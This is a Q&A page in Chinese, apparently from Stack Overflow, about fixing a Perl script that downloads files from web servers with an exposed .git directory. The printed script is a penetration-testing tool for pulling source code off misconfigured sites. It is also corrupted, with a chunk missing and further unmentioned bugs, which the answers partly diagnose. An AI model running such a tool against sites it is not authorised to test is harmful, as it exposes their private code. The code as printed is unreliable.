如何解决多行“”字符串错误?

时间:2019-03-20 17:41:16

标签: perl

因此,我正在尝试关注Pentest合作伙伴的帖子(https://www.pentestpartners.com/security-blog/git-extraction-abusing-version-control-systems/),以便从开放的git端口提取元数据。

运行提供的perl脚本时出现错误。

全栈跟踪:

Bareword found where operator expected at ./git-grab.pl line 102, near "print "Extracting"
  (Might be a runaway multi-line "" string starting on line 97)
    (Do you need to predeclare print?)
Global symbol "%i" requires explicit package name at ./git-grab.pl line 37.
Global symbol "$resthash" requires explicit package name at ./git-grab.pl line 94.
Global symbol "$entry" requires explicit package name at ./git-grab.pl line 94.
Global symbol "$file" requires explicit package name at ./git-grab.pl line 94.
Global symbol "$firsttwo" requires explicit package name at ./git-grab.pl line 97.
Global symbol "$resthash" requires explicit package name at ./git-grab.pl line 97.
Global symbol "$rawdata" requires explicit package name at ./git-grab.pl line 97.
Global symbol "$decompressed" requires explicit package name at ./git-grab.pl line 97.
Global symbol "$oh" requires explicit package name at ./git-grab.pl line 97.
syntax error at ./git-grab.pl line 102, near "print "Extracting"
./git-grab.pl has too many errors.

这是脚本:

#!/usr/bin/perl

use strict;
use File::Path qw(make_path);
use LWP::UserAgent;
use File::Temp qw(tempfile tempdir);
use Compress::Zlib qw(uncompress);

sub readtime
{
   my ($handle, $hashref) = @_;

   read $handle, my $rawtime, 8;

   ( $hashref->{'lsb32'},
     $hashref->{'nsec'} ) = unpack "NN", $rawtime;

   return $hashref;
}

sub readindex
{
   my ($infile) = @_;
   my $packindex;

   # read the header
   read $infile, my $rawheader, 12;
   my $header = {};
   ($header->{'ident'}, $header->{'version'}, $header->{'entries'})
      = unpack("a4NN", $rawheader);

   die "Not a git index file" if ($header->{'ident'} ne "DIRC");
   die "Unsupported version of git index" if ($header->{'version'} != 2);

   my @index_entries = ();

   for (my $i=0; $i{'entries'}; $i++)
   {
      my $statinfo = {};
      my $entry = {};
      my $rawdata;
      my %ctime = ();
      my %mtime = ();

      $statinfo->{'ctime'}=readtime($infile, \%ctime);
      $statinfo->{'mtime'}=readtime($infile, \%ctime);

      # read the non-time fields
      read $infile, $rawdata, 24;
      ( $statinfo->{'dev'}.
        $statinfo->{'inode'}.
        $statinfo->{'mode'}.
        $statinfo->{'uid'}.
        $statinfo->{'gid'}.
        $statinfo->{'size'} ) = unpack "NNNNNN", $rawdata;

      $entry->{'statinfo'}=$statinfo;
      read $infile, $rawdata, 20;
      ( $entry->{'id'} ) = unpack "H*", $rawdata;
      $packindex.=$rawdata;
      read $infile, $rawdata, 2;
      ( $entry->{'flags'} ) = unpack "n", $rawdata;

      # Finally read name - it's length is the lower 11 bits of flags
      my $namelength=($entry->{'flags'} & 0x7ff)+1;

      # Pad it up to a multiple of 4
      read $infile, $rawdata, $namelength + (8 - (($namelength + 62) % 8)) %8;
      ($entry->{'name'}) = unpack "a" . ($namelength-1), $rawdata;

      push(@index_entries, $entry);
   }
   return @index_entries;
}

# First grab the database file
my $target=$ARGV[0];
my $giturl="http://$ARGV[0]/.git/index";
my $ua=LWP::UserAgent->new;
print "Target is: $giturl\n";
$ua->agent("All Your Files Are Belong To Us/1.0");
my $request=HTTP::Request->new(GET => $giturl);
my $result=$ua->request($request);

if ($result->status_line !~ /^200/)
{
   die "Could not find Git index file";
}

my ($dbfileh, $dbfilen) = tempfile();
print $dbfileh $result->content;
close $dbfileh;

open(my $infile, "{'id'},0,2);
   my $resthash=substr($entry->{'id'},2);

   my $file=".git/objects/" . $firsttwo . "/" . $resthash;
   my $rawdata;
   my $decompressed;
   my $oh;

   print "Extracting" . $entry->{'name'} . "\n";

   my $giturl="http://$server/$file";
   my $frequest=HTTP::Request->new(GET => $giturl);
   my $fresult=$ua->request($frequest);
   $rawdata=$fresult->content;

   # Make sure the path is there for the output
   my $outputpath="output/" . $entry->{'name'};
   $outputpath =~ s#/[^/]*$##g;

   make_path($outputpath);
   open $oh, ">", "output/$entry->{'name'}";

   # Now decompress the data
   $decompressed=uncompress($rawdata);
   my $gitfile={};

   ($gitfile->{'type'}) = substr($decompressed,0,5);
   if ($gitfile->{'type'} ne "blob ")
   {
      print "Unknown git file type: $gitfile->{'type'}. Skipping\n";
      next;
   }
   ($gitfile->{'size'}) = unpack "Z*", substr($decompressed,5);
   ($gitfile->{'data'}) = substr($decompressed,length($gitfile->{'size'})+6);

   # And write it
   print $oh $gitfile->{'data'};
   close($oh);
}

我不确定这是怎么回事。如果有人能够提供帮助,那真的有帮助吗?

谢谢!

2 个答案:

答案 0 :(得分:2)

您从中复制此脚本的网站已严重破坏了该脚本。很大一部分代码完全丢失了。荒谬的话:

open(my $infile, "{'id'},0,2);
                 ^^

是从双引号开始到花括号打开之间删除了大约十二行代码的结果。

此脚本的原始工作版本可以在Github上找到:

https://github.com/tautology0/ayfabtu/blob/master/git-grab

答案 1 :(得分:1)

代码中有很多错误,请参见其他消息...

您的跑道行在这里,缺少“- open(my $infile, "{'id'},0,2);